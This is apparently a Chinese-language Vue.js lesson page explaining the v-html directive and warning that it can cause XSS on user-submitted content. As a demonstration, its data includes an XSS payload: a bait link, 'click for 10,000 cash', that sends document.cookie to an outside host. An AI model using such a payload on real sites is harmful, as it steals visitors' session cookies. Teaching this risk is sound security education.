<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title>学习 vue</title>
		<script src="../vue.js" type="text/javascript" charset="utf-8"></script>
	</head>
	<body>
		<!-- 
		v-html指令：
		1.作用：向指定节点中治染包含html结构的内容。
		2.与插值语法的区别：
			(1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
			(2).v-html可以识别html结构。
		3.严重注意：v-html有安全性问题！！！！
			(1).在网站上动态渲染任意HTML是非常危险的，容易导致xss攻击。
			(2).一定要在可信的内容上使用v-html，永不要川在用户提交的内容上！
		 -->
		<!-- 创建容器 -->
		<div id="root">
			<div id="">{{name}}</div>
			<div id="" v-html="str">可以解析标签</div>
			<div id="" v-html="str2">
				
			</div>
		</div>
		
		<script type="text/javascript">
			Vue.config.productionTip=false
			
			//创建vue实例
			const vm=new Vue({
				el:'#root',
				data:{
					name:'上硅谷',
					str:'<h3>你好！</h3>',
					str2:'<a href=javascript:location.href="http://www.baidu.com?" + document.cookie>点击送1w现金</a>'
				}
			})
		</script>
	</body>
</html>
